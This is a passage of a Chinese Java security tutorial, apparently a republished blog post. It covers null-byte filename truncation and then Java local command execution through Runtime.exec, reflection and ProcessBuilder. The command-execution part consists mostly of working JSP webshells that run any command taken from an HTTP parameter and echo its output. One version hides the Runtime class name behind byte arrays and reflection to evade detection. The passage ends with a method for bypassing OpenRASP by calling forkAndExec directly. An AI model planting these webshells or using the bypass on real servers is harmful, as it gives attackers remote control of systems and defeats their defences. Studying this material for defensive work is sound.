使用JDK1.7.0.25测试成功截断文件名:

使用JDK1.7.0.80测试写文件截断时抛出java.io.FileNotFoundException: Invalid file path异常:

在这里插入图片描述

8.4 空字节截断利用场景

Java空字节截断利用场景最常见的利用场景就是文件上传时后端获取文件名后使用了endWith、正则使用如:.(jpg|png|gif)$验证文件名后缀合法性且文件名最终原样保存,同理文件删除(delete)、获取文件路径(getCanonicalPath)、创建文件(createNewFile)、文件重命名(renameTo)等方法也可适用。

8.5 空字节截断修复方案

最简单直接的方式就是升级JDK,如果担心升级JDK出现兼容性问题可在文件操作时检测下文件名中是否包含空字节,如JDK的修复方式:fileName.indexOf(‘\u0000’)即可。

9 Java本地命令执行

9.1 Java本地命令执行

Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞或者WebShell来执行系统终端命令控制服务器的目的。
对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求,而对于黑客来说本地命令执行是一种非常有利的入侵手段。

9.2 Runtime命令执行

在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令。

在这里插入图片描述
Runtime命令执行测试runtime-exec2.jsp执行cmd命令示例:**
1.
本地nc监听9000端口:nc -vv -l 9000
2.
使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我们可以在nc中看到已经成功的接收到了java执行了curl命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。
在这里插入图片描述

上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。
runtime-exec.jsp执行cmd命令示例:

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%--Created by IntelliJ IDEA.User: yzDate: 2019/12/5Time: 6:21 下午To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

命令执行效果如下:在这里插入图片描述
Runtime命令执行调用链

  • Runtime.exec(xxx)调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:
1.
Runtime.exec(xxx)
2.
java.lang.ProcessBuilder.start()
3.
new java.lang.UNIXProcess(xxx)
4.
UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
5.
forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID。

有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记Runtime和ProcessBuilder并不是程序的最终执行点!

反射Runtime命令执行
如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。

  • reflection-cmd.jsp示例代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %><%String str = request.getParameter("str");// 定义"java.lang.Runtime"字符串变量String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});// 反射java.lang.Runtime类获取Class对象Class<?> c = Class.forName(rt);// 反射获取Runtime类的getRuntime方法Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));// 反射获取Runtime类的exec方法Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);// 反射调用Runtime.getRuntime().exec(xxx)方法Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});// 反射获取Process类的getInputStream方法Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));m.setAccessible(true);// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");String result = s.hasNext() ? s.next() : "";// 输出命令执行结果out.println(result);
%>

命令参数是str,如:reflection-cmd.jsp?str=pwd,程序执行结果同上

9.3 ProcessBuilder命令执行

学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。

  • process_builder.jsp命令执行测试
<%--Created by IntelliJ IDEA.User: yzDate: 2019/12/6Time: 10:26 上午To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

执行一个稍微复杂点的命令:/bin/sh -c “cd /Users/;ls -la;”,浏览器请求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la

在这里插入图片描述
9.4.UNIXProcess/ProcessImpl
在这里插入图片描述
UNIXProcess和ProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了,参考changeset 11315:98eb910c9a97。

UNIXProcess和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

UNIXProcess类的forkAndExec示例:

private native int forkAndExec(int mode, byte[] helperpath,byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)throws IOException;

最终执行的Java_java_lang_ProcessImpl_forkAndExec:
在这里插入图片描述
Java_java_lang_ProcessImpl_forkAndExec完整代码:ProcessImpl_md.c
很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给OpenRASP提过这个问题,他们只防御到了ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以绕过RASP实现命令执行了。

看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532553.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

对某公司一次弱口令到存储型xss挖掘

转自我的奇安信攻防社区文章:https://forum.butian.net/share/885 免责声明: 渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播** 涉及知识: xss注入及xss注入绕过 挖掘过程: 某次针对某目标信息搜集无意发现某工程公司的项目招标平台 …

C++11新特性选讲 语言部分 侯捷

C11新特性选讲 语言部分 侯捷 本课程分为两个部分&#xff1a;语言的部分和标准库的部分。只谈新特性&#xff0c;并且是选讲。 本文为语言部分笔记。 语言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 标准库 type_traitsunodered…

java安全(二):JDBC|sql注入|预编译

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1 JDBC基础 JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通…

java安全(三)RMI

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1.RMI 是什么 RMI(Remote Method Invocation)即Java远程方法调用&#xff0c;RMI用于构建分布式应用程序&#xff0c;RMI实现了Java程序之间跨JVM的远程通信…

java安全(四) JNDI

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java…

java安全(五)java反序列化

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1. 序列化 在调用RMI时,发现接收发送数据都是反序列化数据. 例如JSON和XML等语言,在网络上传递信息,都会用到一些格式化数据,大多数处理方法中&#xff0c…

git merge和rebase的区别与选择

git merge和rebase的区别与选择 转自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 这是一篇…

java安全(六)java反序列化2,ysoserial调试

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; ysoserial 下载地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以让⽤户根据⾃⼰选择的利⽤链&#xff0c;⽣成反序列化利⽤数据&…

java安全(七) 反序列化3 CC利用链 TransformedMap版

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 目录图解代码demo涉及的接口与类&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解总结&#xff1a…

java安全(八)TransformedMap构造POC

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 上一篇构造了一个了commons-collections的demo 【传送门】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd进行自动微分

Pytorch Tutorial 使用torch.autograd进行自动微分 本文翻译自 PyTorch 官网教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在训练神经网络时&#xff0c;最常使用…

TVM:编译深度学习模型快速上手教程

TVM&#xff1a;编译深度学习模型快速上手教程 本文将展示如何使用 Relay python 前端构建一个神经网络&#xff0c;并使用 TVM 为 Nvidia GPU 生成一个运行时库。 注意我们需要再构建 TVM 时启用了 cuda 和 llvm。 TVM支持的硬件后端总览 在本教程中&#xff0c;我们使用 cu…

TVM:设计与架构

TVM&#xff1a;设计与架构 本文档适用于想要了解 TVM 架构和/或积极开发项目的开发人员。页面组织如下&#xff1a; 示例编译流程概述了 TVM 将模型的高层描述转换为可部署模块所采取的步骤。要开始使用&#xff0c;请先阅读本节。 逻辑架构组件部分描述了逻辑组件。后面的部…

Nvidia CUDA初级教程4 GPU体系架构概述

Nvidia CUDA初级教程4 GPU体系架构概述 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 讲师&#xff1a;周斌 本节内容&#xff1a; 为什么需要GPU三种方法提升GPU的处理速度实际GPU的设计举例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初级教程5 CUDA/GPU编程模型

Nvidia CUDA初级教程5 CUDA/GPU编程模型 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 讲师&#xff1a;周斌 本节内容&#xff1a; CPU和GPU互动模式GPU线程组织模型&#xff08;需要不停强化&#xff09;GPU存储模型基本的编程问题 CPU与GPU交互 各自…

Nvidia CUDA初级教程6 CUDA编程一

Nvidia CUDA初级教程6 CUDA编程一 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 讲师&#xff1a;周斌 GPU架构概览 GPU特别使用于&#xff1a; 密集计算&#xff0c;高度可并行计算图形学 晶体管主要被用于&#xff1a; 执行计算而不是 缓存数据控制指令…

由前中后遍历序列构建二叉树

由前/中/后遍历序列构建二叉树 基础 首先&#xff0c;我们需要知道前中后序三种深度优先遍历二叉树的方式的具体顺序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一确定一棵二叉树&…

目标检测综述

目标检测综述 转自&#xff1a;https://zhuanlan.zhihu.com/p/383616728 论文参考&#xff1a;[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目标检测领域发展至今已有二十余载&#xff0c;从早期的传统方法到如今的深度学习方法&#x…

Nvidia CUDA初级教程7 CUDA编程二

Nvidia CUDA初级教程7 CUDA编程二 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p8 讲师&#xff1a;周斌 本节内容&#xff1a; 内置类型和函数 Built-ins and functions线程同步 Synchronizing线程调度 Scheduling threads存储模型 Memory model重访 Matr…

详解优酷视频质量评价体系

万字长文 | 详解优酷视频质量评价体系 分享嘉宾&#xff5c;李静博士&#xff0c;阿里巴巴文娱集团资深算法专家&#xff0c;阿里巴巴大文娱摩酷实验室视频体验与质量团队负责人 整理出品&#xff5c;AICUG人工智能社区 本文地址&#xff1a;https://www.6aiq.com/article/1617…